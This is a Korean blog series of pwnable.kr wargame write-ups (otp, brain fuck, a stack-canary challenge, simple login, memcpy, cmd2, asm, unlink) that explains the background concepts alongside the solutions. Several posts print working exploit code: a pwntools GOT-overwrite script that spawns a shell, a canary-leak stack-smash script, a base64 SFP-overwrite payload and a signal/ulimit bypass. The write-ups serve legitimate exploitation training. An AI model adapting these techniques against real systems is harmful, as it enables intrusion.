달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
2017. 7. 9. 15:20

[문제풀이] pwnable.kr - ascii_easy 2017. 7. 9. 15:20

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2017. 7. 9. 15:19

[문제풀이] pwnable.kr - otp Wargames/pwnable.kr2017. 7. 9. 15:19





※ 사전지식



SIGNAL 정의 

신호는 유닉스, 유닉스 계열, POSIX 호환 운영체제에 쓰이는 제한된 형태의 프로세스 간 통신이다. 

신호는 프로세스나 동일 프로세스 내의 특정 스레드로 전달되는 비동기식 통보이다. 

출처 : https://ko.wikipedia.org/wiki/유닉스_신호




사용자가 임의로 발생시킬 수 있는 신호도 존재한다.

  • Ctrl+C : SIGINT 발생, 기본적으로 프로세스를 종료하는 역할을 한다.
  • Ctrl+Z : SIGTSTP 발생, 기본적으로 프로세스가 실행을 유예시키는 역할을 한다.
  • Ctrl+\ : SIGQUIT 발생, 기본적으로 프로세스를 종료시킨 뒤 코어를 덤프하는 역할을 한다.
  • Ctrl+T : SIGINFO 발생, 명령에서 지원하는 경우 기본적으로 운영체제가 실행 중인 명령에 대한 정보를 표시한다.


요즘 운영체제에서 이러한 기본 키 조합들은 stty 명령으로 변경시킬 수 있다. 




SIGNAL 종류 


출처 : https://ko.wikipedia.org/wiki/유닉스_신호





ulimit 명령어


해당 명령어는 프로세스의 자원 한도를 설정하는 명령으로 Soft 한도와 Hard 한도 두 가지가 존재한다.


Soft  : 새로운 프로그램을 생성하면 기본으로 적용되는 한도

Hard : 소프트 한도에서 최대로 늘릴 수 있는 한도 


  • ulimit [옵션] 값

-a : 모든 제한 사항을 보여줌.

-c : 최대 코어 파일 사이즈

-d : 프로세스 데이터 세그먼트의 최대 크기

-f : shell에 의해 만들어질 수 있는 파일의 최대 크기

-s : 최대 스택 크기

-p : 파이프 크기

-n : 오픈 파일의 최대수

-u : 오픈파일의 최대수

-v : 최대 가상메모리의 양

-S : soft 한도

-H : hard 한도


 

  • 항목 설명 

core file size          (blocks, -c) 0                        

       // 코어파일의 최대크기

data seg size           (kbytes, -d) unlimited           

       // 프로세스의 데이터 세그먼트 최대크기

scheduling priority             (-e) 0                      

file size               (blocks, -f) unlimited           

      // 쉘에서 생성되는 파일의 최대 크기

pending signals                 (-i) 14943

max locked memory       (kbytes, -l) 64

max memory size         (kbytes, -m) unlimited       

      // resident set size의 최대 크기(메모리 최대크기)

open files                      (-n) 1024                    

      // 한 프로세스에서 열 수 있는 open file descriptor의 최대 숫자(열수 있는 최대 파일 수)

pipe size            (512 bytes, -p) 8                          

      // 512-바이트 블럭의 파이프 크기

POSIX message queues     (bytes, -q) 819200

real-time priority              (-r) 0

stack size              (kbytes, -s) 10240

cpu time               (seconds, -t) unlimited             

      // 총 누적된 CPU 시간(초)

max user processes              (-u) 1024                  

      // 단일 유저가 사용가능한 프로세스의 최대 갯수

virtual memory          (kbytes, -v) unlimited     

      // 쉘에서 사용가능 한 가상 메모리의 최대 용량

file locks                      (-x) unlimited



사전지식 끝! 




※ 문제풀이


먼저 소감을 잠시 말하자면 기발했다. 

내가 예상한 접근 방법이 다 틀렸고 다시 한번 사고의 확장을 할 수 있었다. 


문제를 낸 사람이나 푼 사람이나 기발하다.


Signal 과 ulimit 명령어의 조합으로 이런 것도 가능하다니...

아직 경험 못해본 것이 너무 많다. 



그럼 문제풀이로 들어가도록 하겠다. 


[그림 1] 문제 구동시


사이트 문제에서도 알 수 있드시 문제에서 생성한 랜덤 숫자를 맞추는 문제이다.

코드는 아래와 같다. 


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>


int main(int argc, char* argv[]){

        char fname[128];

        unsigned long long otp[2];


        if(argc!=2){

                printf("usage : ./otp [passcode]\n");

                return 0;

        }


        int fd = open("/dev/urandom", O_RDONLY);

        if(fd==-1) exit(-1);


        if(read(fd, otp, 16)!=16) exit(-1);

        close(fd);


        sprintf(fname, "/tmp/%llu", otp[0]);

        FILE* fp = fopen(fname, "w");

        if(fp==NULL){ exit(-1); }

        fwrite(&otp[1], 8, 1, fp);

        fclose(fp);


        printf("OTP generated.\n");


        unsigned long long passcode=0;

        FILE* fp2 = fopen(fname, "r");

        if(fp2==NULL){ exit(-1); }

        fread(&passcode, 8, 1, fp2);

        fclose(fp2);


        if(strtoul(argv[1], 0, 16) == passcode){

                printf("Congratz!\n");

                system("/bin/cat flag");

        }

        else{

                printf("OTP mismatch\n");

        }


        unlink(fname);

        return 0;

}


위 코드에서 굵은 글자 형태로 표현한 것이 핵심인 듯하다. 


쉘에서 파일을 생성하는 과정이다. 이제 저 부분을 가지고 장난을 친다. 


쉘에서 생성할 수 있는 파일의 크기를 0으로 제한한다.

이럴 경우 SIGXFSZ 신호가 발생하는데 이를 무시하고 프로세스를 동작할 경우 비교 값은 NULL이 된다. 

따라서 내가 NULL을 입력할 경우 조건이 만족하면서 플래그 값을 알 수 있다. 


어메이징!! 쇼킹!! 



[그림 2] 정답



문제풀이에 사용된 소스는 아래와 같다 .

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>



int main(int argc, char*argv[]) {


  sigset_t mask;

  sigemptyset(&mask);

  sigaddset(&mask, SIGXFSZ);


  sigprocmask(SIG_BLOCK, &mask, NULL);


  char *argv[] = { "otp", "\x00", NULL};

  char *env[] = {NULL};


  execve(argv[1], arg, env);

 

  return 0;

}



문제풀이 끝! 



색다른 방법을 배울수 있는 좋은 문제였따!!





:
Posted by einai
2017. 7. 9. 15:18

[문제풀이] pwnable.kr - brain fuck Wargames/pwnable.kr2017. 7. 9. 15:18



이번 문제는 별도로 학습해야 하는 선수지식이 없는 관계로 바로 문제풀이를 하도록 하겠다.



※ 문제풀이 


우선 문제가 어떻게 동작하는지 파악하기 위해 먼저 돌려보도록 하겠다. 


[그림 1] 문제 실행 시 


[그림 1]과 같이 특정 문자열과 함께 내 입력을 받기 위한 대기를 한다. 

분석을 하기 위해 바이너리 파일을 다운로드 받아서 IDA로 열어보았다. 



[그림 2] 입력한 값에 따른 동작 구문


[그림 2]는 내가 입력한 문자열 중 하나의 문자씩 가지고 와서 해당 문자에 필요한 동작을 수행하는 스위치 부분이다.

이 문제를 풀기 위해서는 위 스위치 구문 중 아래와 같은 구문을 활용해야 한다. 


[그림 3] 익스플로잇 시 필요한 동작 1


[그림 4] 익스플로잇 시 필요한 동작 2


간단히 위 동작들로 하는 행위는 원하는 위치로 이동한 다음 값을 보거나 값을 수정하는 것이다. 

.GOT.PLT 영역의 값을 변경할 경우 흐름을 변경하는 건 말 안해도 뻔한 사실이다. 



해당 문제를 풀기 위해선 아래와 같은 행위를 해야 한다. 

  1. 포너블 시스템의 함수 주소를 파악
    이를 위해서 문제에서 제공하는 bf_libc.so 파일에서 제공되는 오프셋 주소를 이용해서 실제 프로그램 내에 주소를 파악한 뒤 라이브러리의 기본 주소를 파악해야 한다. 

  2. putchar 함수의 .got.plt 섹션 값 변경
    putchar 함수의 .got.plt 섹션 값을 메인 함수의 시작 부분으로 변경하고 memset 함수를 ret 값으로 설정하여 무력화시킨다. 이 값은 fgets 함수를 다시 호출하여 내용을 덮어쓰기 위함이다. 
    (putchar 함수의 .got.plt 섹션 값을 메인 함수 중간으로 바로 들어갈 경우 스택을 참조할 때에는 스택 프레임이 달라져서 에러가 발생할 수 있고 레지스터를 참조할 경우 레지스터 값이 달라서 에러가 발생할 수 있다)

  3. fgets 함수의 .got.plt 섹션 값을 system 함수 주소로 변경 
    1번에서 획득한 기본 주소에 system 함수 오프셋을 더해 해당 값을 이용하여 .got.plt 섹션 값을 변경한다. 이러한 행위는 2번이 완료된 뒤에 이루어져야 한다. 


자, 이제 순서대로 포인트만 딱딱 집어 봐보도록 하자. 


우선 포너블 시스템에서의 함수 주소를 파악하기 위해서는 포인터의 주소를 뒤로 쭈우우욱 땡겨서 .got.plt에 위치시킨 다음에 putchar 함수를 동작시키는 "."을 수행하는 것이다. 


[그림 5] 메모리 노출을 위해 전달되는 문자열


[그림 5]는 파이썬으로 작성되어 있지만 그냥 문자로 직접 입력해도 된다. 

그러면 깨진 형태의 문자를 출력할 것이다. 뭐 헥사 값으로 변경해서 출력해주면 된다. 

파이썬의 무슨 함수를 써야하는지 몰라서 좀 해멨다. 젠장 ㅋ


[그림 6] 제공된 라이브러리에서 함수 오프셋 구하는 방법


그런 다음 [그림 6]과 같이 사용할 함수의 오프셋을 구한다. 물론 제공된 라이브러리에서 해야 한다. 

위와 같은 방법 외에 GDB를 이용하는 방법도 존재한다.


그럼 위 내용을 바탕으로 익스플로잇 코드를 작성해보도록 하겠다.


from pwn import *


#p = process('/home/pwn/bf/bf')


p = remote('pwnable.kr', 9001)

MAIN_ADDR = 0x08048671

RET_ADDR = 0x08048792


FGETS_GOT_PLT = 0x0804a010

MEMSET_GOT_PLT = 0x0804a02c

PUTCHAR_GOT_PLT = 0x0804a030



PUTCHAR_OFFSET = 0x00060c80

SYSTEM_OFFSET = 0x0003a920 


TAPE = 0x0804a0a0



payload = '.'

payload += '<' * (TAPE - PUTCHAR_GOT_PLT)

payload += '.>.>.>.<<<'

payload += ',>,>,>,<<<'


payload += '<' * (PUTCHAR_GOT_PLT - MEMSET_GOT_PLT)

payload += ',>,>,>,<<<'

payload += '.'


payload += '<' * (TAPE - FGETS_GOT_PLT)

payload += ',>,>,>,'

payload += '.'


p.recvuntil('[ ]\n')

p.sendline(payload)


p.recvn(1)

libc = u32(p.recvn(4)) - PUTCHAR_OFFSET

#log.success('libc is at 0x%x' % libc)

p.send(p32(MAIN_ADDR))

p.send(p32(RET_ADDR))


p.recvuntil('[ ]\n')

p.sendline('/bin/sh\x00')

p.send(p32(libc + SYSTEM_OFFSET))


p.interactive()


위 코드를 실행시키면 아래와 같이 답이 나온다. 


[그림 7] 답



문제풀이 끝!




알게된 내용 !!

함수의 중간으로 실행 흐름을 바꿀 때에는 스택 프레임과 레지스터 등을 고려해야 한다. 




전체적으로 살펴보고 가능성이 있는 부분과 아닌 부분을 빠르게 나누는 연습을 하자. 

프로그램 내에서의 흐름을 파악한 뒤 유연하게 재조립 해보자. 

못풀더라도 공부한다는 마음으로 완벽하게 이해하자. 

제공된 답 외에 접근 방법을 연구해보자. 





:
Posted by einai



※ 사전지식 


Stack Smashing Protection (SSP) 


이는 버퍼 오버플로우를 막기 위한 방어 기법 중 하나로 아래와 같은 기능을 한다. 

  • 로컬 변수 재배치
  • 포인터 최상단 배치
  • Stack Canary 삽입 


GCC와 같은 컴파일러는 버퍼 오버플로우 공격을 막기 위해 위와 같은 기능을 제공한다. 이는 옵션으로 강제할 수도 있고 기본적으로 제공되기도 한다. 여러 개의 옵션은 다른 형태의 SSP를 제공한다. 


-fstack-protector   취약한 객체를 포함하고 있는 함수에서 스택 스매싱을 검사한다. 여기서 취약한 객체란 함수내에 할당한 버퍼의 크기가 8바이트보다 크거나 alloca를 호출할 때를 말한다. 


-fstack-protector-strong   -fstack-protector와 같으나 로컬 배열이나 로컬 프레임 주소를 참조하고 있는 변수를 포함한 함수에도 스택 스매싱을 검사한다. 


-fstack-protector-all   모든 함수에서 스택 스매싱을 검사한다.


일부 운영체제는 컴파일러에 이와 같은 개념을 더 확장시킨 옵션을 제공한다. 


-fstack-shuffle (Found in OpenBSD)   컴파일 시점에 스택 변수의 순서를 랜덤화시킨다. 


위와 같은 기법들을 추가하여 스택 오버플로우를 탐지할 경우

"stack smashing detected" 메시지가 출력되며 프로그램이 종료된다. 




Stack Canary 설정 방법 

  •  StackGuard의 스택 랜덤 기능 활성화 시 
     "/dev/urandom"을 열고 "uintptr_t" 크기 만큼 읽어온 뒤 이를 Stack Canary 값으로 반환함 
  • StackGuard의 스택 랜덤 기능이 비활성화 시 
    반환 값 중 하나는 0xff 그리고 나머지는 0xA(개행문자)를 적용한 뒤 반환함 
    즉, Canary 값은 terminator Canary 값으로 불리는 "0xff0a0000"이 됨 


사전지식 끝! 






※ 문제풀이 


이 문제는 스택 오버플로우 관련 문제로 스택 카나리가 적용되어 있어 이를 우회하는 것을 의도한 것으로 보인다. 

따라서 스택 카나리를 우회하기 위한 방법에 대해 고민해보도록 하자.  



무작위 대입 공격


일반적으로 네트워크 데몬들은 clone 또는 fork를 통해 새로운 접속에 대해 스레드를 생성한다. 

fork의 경우 child process가 execve를 호출 하느냐 안하느냐 2가지 경우로 구분된다. 


여기서 위와 같은 구분을 하는 이유는 카나리가 생성되는 방식에 있다. 


  • Using fork 
    fork 시스템 호출은 프로세스를 복제하는데 이 뜻은 카나리가 함수 단위로 생성되는 것이 아니라 프로세스 단위로 생성되기 때문에 부모와 자식이 동일한 카나리를 공유한다는 뜻이다. 이는 몇번의 시도로 카나리를 추측할 수 있다는 의미이다(요청할 때마다 동일한 카나리를 가지기 때문). 카나리는 총 4바이트이고 terminator 카나리라면 하위 바이트는 0x00으로 고정되고 나머지 3바이트를 추측하는 것이기 때문에 최대 255 * 3의 시도로 카나리를 찾을 수 있다(by Ben Hawkes).
      
  • Using execve
    execve가 호출되면 자식 프로세스는 부모 프로세스의 text, data, bss, stack을 덮어쓴다(별도의 공간을 갖는 것인지 아니면 정말 덮어쓰는 것인지는 확인해봐야 할 듯?). 이 의미는 생성된 자식 프로스들이 자신만의 카나리를 가진다는 것을 암시한다. 결과적으로 fork와 같이 추측하여 카나리를 찾는 방식은 별 의미를 가지지 못한다. 



규칙성 찾기  


이는 생성된 카나리의 규칙성을 알아보는 것이다. 

정적인 값을 갖는지, 어떤 값에 기반하여 생성되는지 등을 파악하여 값을 재구현하는 방법이다. 




이번 문제는 사실 가정까지만 하고 문제풀이를 미리 봐버렸다. 

나는 무작위 대입공격을 통해 카나리 값을 구하는 문제라고 생각했다. 왜냐면 그게 말이 되니까(?).


근데 다른 사람들이 푼 문제풀이를 보니까 이들은 규칙성을 찾아냈고 이로써 카나리 값을 복원하는데 성공했다. 

중요한 점은 이걸 봐도 어떤 연계점이 있어서 이렇게 구했는지 이해가 되지 않는다는 점이다. 


gs:0x14에 위치한 값과 시간 그리고 캡챠의 관계가 무엇인지 명확한 근거가 없는데 이들은 이 값으로 카나리를 구했다. 

근데 더 웃긴건 하나같이 거기에 대한 설명은 없고 동일한 방법으로 문제를 풀었다는 것이다. 


시뮬레이션 해보니 정말 카나리 값이 구해지긴 했는데 이걸 단순히 우연으로 알았는지 아니면 gs:0x14는 시간으로 초기화되는지 알 수가 없다. 





어째든 문제의 흐름을 봐보자. 


[그림 1] 스택 할당


[그림 2] 문자열 입력 


위에 올린 [그림 1]과 [그림 2]는 스택 오버플로우의 빌미를 제공하는 지점이다.  

할당된 버퍼보다 많은 입력 값을 받는 그런 뻔한 스토리다. 


[그림 3] 스택 오버플로우 발생


그리고 난 뒤 입력 받은 값을 Base64Decode 함수의 인자로 전달하여 스택에 디코딩 된 상태의 값을 저장한다. 이때 궁극적으로 스택 오버플로우가 발생되고 스택 카나리 값이 덮어써지며 결국 에러로 치닫게 된다. 


즉, 스택 카나리 값만 구하면 system 함수의 주소에  "/bin/sh" 인자를 주어 요청하기만 하면 익스플로잇이 성공한다.




그럼 어떻게 카나리 값을 구할 수 있을지 확인해보자. 

우선 사전에 언급한 바와 같이 난 어떤식으로 답을 구할지 가정만 해놓은 상태에서 답을 봐버렸다. 

하지만 내가 한 가정은 1도 맞지 않았다. 젠장!!


어째든 처음에는 가정이 틀리고 답을 봐도 이해가 가지 않았다.

스택 카나리 값을 캡챠와 Time seed 값을 이용해 구한다는 게 납득이 가지 않았기 때문이다. 

gs:14와 이들은 어떤 관계가 있기 때문에 구할 수 있을까 한참을 고민했다. 

내가 모르는 규칙이 있는가!!? 싶어서. 


뭐 모르는게 워낙 많기 때문에 그냥 모르는 내용이었겠거니 하고 찾았는데 도무지 연관성을 찾을 수 없었다.


이윽고 난 캡챠를 구하는 방법을 다시 한번 분석했고 왜 그런지 드디어 알았다. 


[그림 4] 캡챠 구하는 로직


간단히 캡챠 구하는 로직을 설명하자면 정수 배열 인덱스 0 ~ 7 사이에 랜덤 값을 넣고 덧셈과 뺄셈으로 값을 구한 뒤 최종 연산 값을 반환하는 형태로 이루어진다. 하지만 저 빨간 박스 모양을 보면 배열의 인덱스 8을 가리키고 있고 여기엔 스택 카나리 값이 위치해 있다. 따라서 캡챠에서 스택 카나리 값을 얻을 수 있는 것이었다. 


하~ 알고나니 너무 허무하다. ㅠㅠㅠ 

조금만 더 살펴보면 알 수 있었을 텐데.. 뭐 아직 이게 내 실력이니 ㅠㅠㅠ



어째든 이제 익스플로잇을 하기 위한 모든 조건이 갖춰졌다. 

pwnable.kr에 ssh로 접근해서 로컬에 코드를 짜놓고 실행시켜보자. 


from pwn import * 

import ctypes 

from ctypes.util import find_library 


libc = ctypes.CDLL(find_library('c'))

libc.srand(libc.time(0))

arr = [libc.rand() for i in range(8)] 


p = remote('localhost', 9002)


print p.recvuntil('captcha : ')

pw = p.recvline()

canary = (int(pw)-arr[4]+arr[6]-arr[7]-arr[2]+arr[3]-arr[1]-arr[5]) & 0xffffffff

log.success('canary is 0x%08x' % canary)


p.send(pw)

print p.recvuntil('paste me!')


dummy1 = 'a'*512 

canary = p32(canary)

dummy2 = 'a'*12

ret = p32(0x08049187)

retarg = p32(0x0804b0e0+717)

payload = dummy1 + canary + dummy2 + ret + retarg

payload = payload.encode('base64').replace('\n', '')


p.sendline(payload + '\x00/bin/sh')


p.interactive()


무사히 코드가 동작하면 쉘을 얻을 수 있을 것이다. 


[그림 5] 정답



문제풀이 끝! 







가정을 하면 그걸 실행해보고 맞는 지 틀린 지 좀 더 인내를 가지고 찾아보자. 

시간에 너무 좇겨서 이런 과정을 게을리 하지 말자.



화이팅!










References 

[1] SSP - Stack Canary에 대한 Phrack 자료, http://hackability.kr/entry/SSP-Stack-Canary에-대한-Phrack-자료-번역


:
Posted by einai


※ 사전지식 


SFP (Stack Frame Pointer)


SFP 란 함수를 호출할 때 함수의 시작부분에 있는 몇 개의 명령어로 발생하게 된다. 

보통 함수 프롤로그(prologue)부분에서 EBP 레지스터의 위치를 보전하기 위해 스택에 저장되는 값이다. 


해당 과정을 간단히 살펴보자. 


만약 함수 A에서 함수 B를 호출하면 일반적으로 함수 B에 들어가자마자 아래와 같은 명령어를 실행한다. 


  PUSH EBP

  MOV EBP, ESP


해당 과정을 거치면 스택은 아래와 같은 모양을 가진다. 


[그림 1]


어셈블리어를 보면 알겠지만 SFP 위치에는 이전 함수에서 사용하던 EBP 주소가 저장된다. 

그래서 함수가 기능을 다하고 복귀할 때 본래의 EBP 주소를 유지할 수 있는 것이다. 



SFP Overwrite


이는 말 그대로 SFP에 값을 덮어쓸 수 있어 함수의 에필로그(Epilogue) 부분에서 EBP를 변조할 수 있는 취약점이다. 

우선 에필로그는 보통 아래와 같은 형태를 볼 수 있다. 


 MOV ESP, EBP

 POP EBP

 RET   


 or 


 LEAVE

 RET


이 과정을 거칠 경우 SFP의 값이 EBP로 전달되어 이 후 실행 흐름에 문제를 줄 수 있다. 



사전지식 끝!





※ 문제풀이 


해당 문제는 값을 입력할 때 세그먼트 뻑이 나서 금방 감을 잡을 수 있었다. 


흐름을 간단히 말하면 아래와 같다. 


1. 인증을 위한 값을 요구한다.  - main 

2. 내가 입력한 값을 Base64Decode 함수를 통해 Base64 디코딩을 수행한다.  - main

3. "2번"에서 얻어진 값을 이용해 자체 md5 함수를 활용하여 해시 값을 구한다.   - auth

4. 프로그램에 내장되어 있는 해시 값과 같은지 검사하고 같으면 "correct" 함수를 호출한다.  - main

5. correct 함수 내부에서 input 변수에 들어있는 값을 확인하고 같으면 /bin/sh 을 호출한다.  - correct



여기서 취약점은 auth 함수에서 발생하게 된다. 


[그림 2]


쓸때없이 memcpy 인자로 전달되는 스택 값에 0x0Ch 값을 더하는 바람에 SFP 가 덮어써진다. 

그 뒤 auth 함수 에필로그 부분에 SFP 값이 EBP로 쓰여지고 

main 함수 에필로그에서 EBP가 다시 ESP로 이동할 때 우리는 실행 흐름을 바꿀 수 있다. 

ESP가 가리키는 지점의 값이 RET 명령어를 만나면 해당 값을 EIP로 옮겨놓기 때문이다. 




[그림 3]


나는 correct 함수 내에 빨간 박스를 쳐 놓은 위치로 분기하기로 결정했다(가장 심플). 


따라서 익스플로잇 코드는 아래와 같다. 


 import base64


correct = "\x78\x92\x04\x08"     # correct 함수 내에 /bin/sh 호출 부분

stack = "\x40\xeb\x11\x08"       # input 변수 위치 중 correct 함수 주소를 담고 있는 위치 


payload = "AAAA" + correct + stack 

data = base64.b64encode(payload) 

print(data) 


문제풀이 끝!



처음에는 스택 위치만 활용하려다가 시간을 좀 빼앗겼다. 

값을 저장할 수 있는 곳은 스택 뿐만이 아니라는 것을 잘 기억해놓자. 







:
Posted by einai
2017. 7. 9. 15:16

[문제풀이] pwnable.kr - codemap Wargames/pwnable.kr2017. 7. 9. 15:16



※ 사전지식


Dynamic Binary Analysis & Dynamic Binary Instrumentation 


바이너리 동적 분석을 얼마나 어떻게 효율적으로 할 수 있는가 ?!

 Answer : 나같은 평민은 남들이 잘 만들어놓은 툴을 사용해라!! 

 

 

사전지식 끝! 





※ 문제풀이 


음 이 문제는 제목이 곧 답이 될 수가 있다. 

문제의 제목으로 개발된 툴이 있더라. 좋은 툴인 것 같더라. 



본론으로 돌아와서 해당 문제는 주어진 바이너리를 분석한 뒤 질문한 내용에 답을 해주는 형식으로 풀게 된다. 







[그림 1]


일단 문제가 어떤 유형인지 대충 감을 잡았으니 바이너리를 분석해보도록 하겠돠.

일단 파일을 실행시키면 멘트가 뜬다. 


[그림 2]


1000개의 힙을 랜덤사이즈로 만든다고 한다. 게다가 각 청크는 랜덤 스트링을 가진다고 한다. 엔터를 누르라고 한다.


그래서 난 엔터를 눌렀다. 쩜쩜



간단히 올리디버거로 파일을 오픈한 뒤 문제에서 주의깊게 보라고 한 지점에 bp를 걸고 확인해보도록 하겠다. 


[그림 3]


딱 보면 알겠지만 EAX는 청크의 크기를, EBX는 문자열을 가리키고 있다. 


그럼 이제 선택의 시점이다. 


하나하나씩 분석하던지!! 

좋은 툴을 찾던지!!!!!

아니면 툴을 개발하던지!!!!!!


나같은 경우는 걍 남이 만들어놓은 걸 활용했당. ^^^^^^^^^^^^^



[그림 4]



문제풀이 끝!





:
Posted by einai
2017. 7. 9. 15:15

[문제풀이] pwnable.kr - memcpy Wargames/pwnable.kr2017. 7. 9. 15:15



※ 사전지식


이 문제는 컴퓨터 메모리 상에서 변수에 적용되는 정렬(alignment) 절차와 관련이 있다. 

좀 더 쉬운 이해를 위해 간단한 코드를 짜서 확인해보도록 하겠다. 



위 코드는 굉장히 심플하다. 하나의 구조체를 설정하고 할당한 뒤 그 크기를 확인하는 프로그램이다. 

char 형과 int 형 변수를 포함하는 구조체이기에 크기는 5라고 예상할 수 있겠다. 


일단 실행하고 결과를 확인해보도록 하겠다.



하지만 결과는 예상한 것과는 다르게 8이 나타났다.  

빠밤~~!!

글을 재미있게 쓰는 건 나에게 무리인가 ㅠ.ㅠ!! 이 반전같지 않은 반전!!



왜일까?


이는 컴파일러가 해당 소스를 컴파일 할 때 변수를 4바이트 단위로 재배치하고 패딩을 추가하기 때문이다. 

이렇게 하는 이유는 하지 않았을 때보다 일반적으로 메모리에 접근 속도가 빠르기 때문이다. 


즉 간단히 변환해보면 설정한 구조체는 아래와 같은 모습을 하게 된다. 


tyepdef struct St{ 

  char ch;

  char pad[3];

  int in;

}


하지만 마음에 들지 않는다면 의도적으로 하지 않을수도 있다.  흐으..


사전지식 끝!




※ 문제풀이


자, 그럼 이제 문제풀이로 돌아와서 문제를 그냥 한번 돌려보도록 하자. 



제시한 숫자를 그대로 넣어 돌려보니 "experiment 5"에서 정지되었다. 

원인을 알아보기 위해 소스코드를 확인해보도록 하겠다. 




생소한 어셈블리어들이 들어있었다. 일단 구글링해서 어떤 기능을 하는지 살펴보았다. 






출처 : http://x86.renejeschke.de/html/file_module_x86_id_197.html



 그닥 뭐가 문제인지 잘 감이 안왔었다. 그래서 더 자세히 들여다보았다. 더더더..


출처 : http://x86.renejeschke.de/html/file_module_x86_id_197.html


예외가 발생하는 이유는 저기서 확인할 수 있었다. 만약 메모리 피연산자가 16바이트 단위로 정렬되어 있지 않을 경우 에러가 발생한다는 의미다. 음 그렇구나 싶었다. 대충 메모리 관련 예외라고 짐작은 하고 있었으나 감으로 때려맞추기엔 좀 한계가 있었다. 


결국 해당 코드를 컴파일해서 메모리 위치를 확인하면서 값을 설정해주었다. 






문제풀이 끝!




오랜만에 문제풀이 올리네~ 이래저래 좀 바빠졌지만 틈틈히 하자 !!





'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - simple login  (0) 2017.07.09
[문제풀이] pwnable.kr - codemap  (0) 2017.07.09
[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:15

[문제풀이] pwnable.kr - cmd2 Wargames/pwnable.kr2017. 7. 9. 15:15



※ 사전지식


내장 명령어 

리눅스 쉘에서 내장 명령어라는 것이 존재한다. 

흔히 쉘 스크립트를 짤 때 주로 생성되는 것이다. 

i.e) for, read, etc 


8진수 

본 쉘(Bourne Shell)에서는 에코 명령어를 사용했을 때 아스키코드의 8진수 값을 허용한다. 

다른 쉘에서도 이와 같은 행위가 동작하는 지는 모르겠다. 일단 bash 쉘에서 해봤을 땐 먹히지 않았다. 


위 말이 좀 애매하니 간단히 예를 하나 들어보겠다. 



8진수로 88는 16진수로 2d인데 이 값은 아스키 값을 "-"를 나타낸다. 

따라서 내가 echo "\55krzxy" 라고 입력했을 때 출력은 -krzxy 로 나타나게 된다. 


사전지식 끝!




※ 문제풀이


이건 뭐 사전지식이 곧 문제풀이와 직결되기 때문에 별도의 설명이 필요할까 싶다. 


간단히 문제설명만 하자면 "=, PATH, export, /, `, flag" 문자열을 넣지 않고 system 함수에 인자를 전달하는 방법이다. 

물론 환경변수는 초기화되고 내가 입력한 값으로 플래그를 읽어야되는 조건이다. 


사전지식으로 문제풀이를 대체하겠다. - - 


문제풀이 끝!



워게임 경험이 없어서 그런지, 아님 공부가 덜 됬는지 모르겠지만 리버싱.kr부터 포너블.kr까지 매 문제가 새롭당.

왜 이쪽은 익숙함이라는게 없을까나 ㅠ.ㅠ







'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - codemap  (0) 2017.07.09
[문제풀이] pwnable.kr - memcpy  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:14

[문제풀이] pwnable.kr - asm Wargames/pwnable.kr2017. 7. 9. 15:14




※ 사전지식


이번 문제 사전 지식은 별도로 기입해놓았다. 

http://krzxy.tistory.com/entry/리눅스-64비트-쉘코드-제작  << 참조하셔요!


사전지식 끝!




※ 문제풀이




문제를 실행시키면 위와 같이 나타난다. 64비트용 쉘코드를 제작해서 입력해달란다. 


위 캡쳐에서도 나타나지만 SECCOMP 기능을 이용하여 내가 사용할 수 있는 시스템 호출을 제한한다. 

이는 코드에서도 확인 가능하다.


또한 내가 생성해서 전달하는 쉘코드를 소스 코드 내에 미리 추가된 쉘코드(?) 뒤에 추가되어 진다. 


위 코드가 뭐하는 지는 일일히 살펴보진 않았고 흐름을 따라가면서 프로세스에 영향을 끼치나만 살펴보았다. 하지만 별로 영향을 끼치진 않아서 쉘 코드를 작성해서 던저버렸다. 


내가 짠 쉘코드는 음 너무 길고 조잡해서 어디다 자랑은 못하겠다. 

어째든 내가 작성한 기계어를 이용해서 로컬에서 동작하는 것을 확인하고 던지니까 정답은 나왔다. 



문제풀이 끝!




나처럼 처음 접하는 사람들을 위해 좋은 팁을 주자면, pwntools에 엄청 쉽게 쉘코드를 작성하는게 있더라..

shellcraft 라고.. 처음은 연습삼아 정석으로 짜보고 좀 익숙해지면 pwntools의 기능을 사용해보길 바란다. 


그럼 뭔가 원시인이 처음 문명을 만났을 때 느낌이 들 것이다. -ㅅ-

(나만 몰랐낭 ㅡㅡ!!?ㅋ)






'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - memcpy  (0) 2017.07.09
[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:14

[문제풀이] pwnable.kr - unlink Wargames/pwnable.kr2017. 7. 9. 15:14



※ 문제풀이 


해당 문제는 unlink 과정을 시뮬레이션하여 메모리를 덮어쓰는 것으로 덮어쓰는 위치를 잘 조정하면 프로그램의 EIP를 변경할 수 있다. 


핵심적으로 이해해야 할 코드 부분은 아래와 같다. 


typedef struct tagOBJ{

  struct tagOBJ* fd;

  struct tagOBJ* bk;

  char buf[8];

}OBJ;


void unlink(OBJ* P) {

  OBJ* BK;

  OBJ* FD;

  BK=P->bk;

  FD=P->fd;

  FD->bk=BK;

  BK->fd=FD;

..... 

int main(int argc, char*argv[]) {


OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

....

gets(A->buf);

....

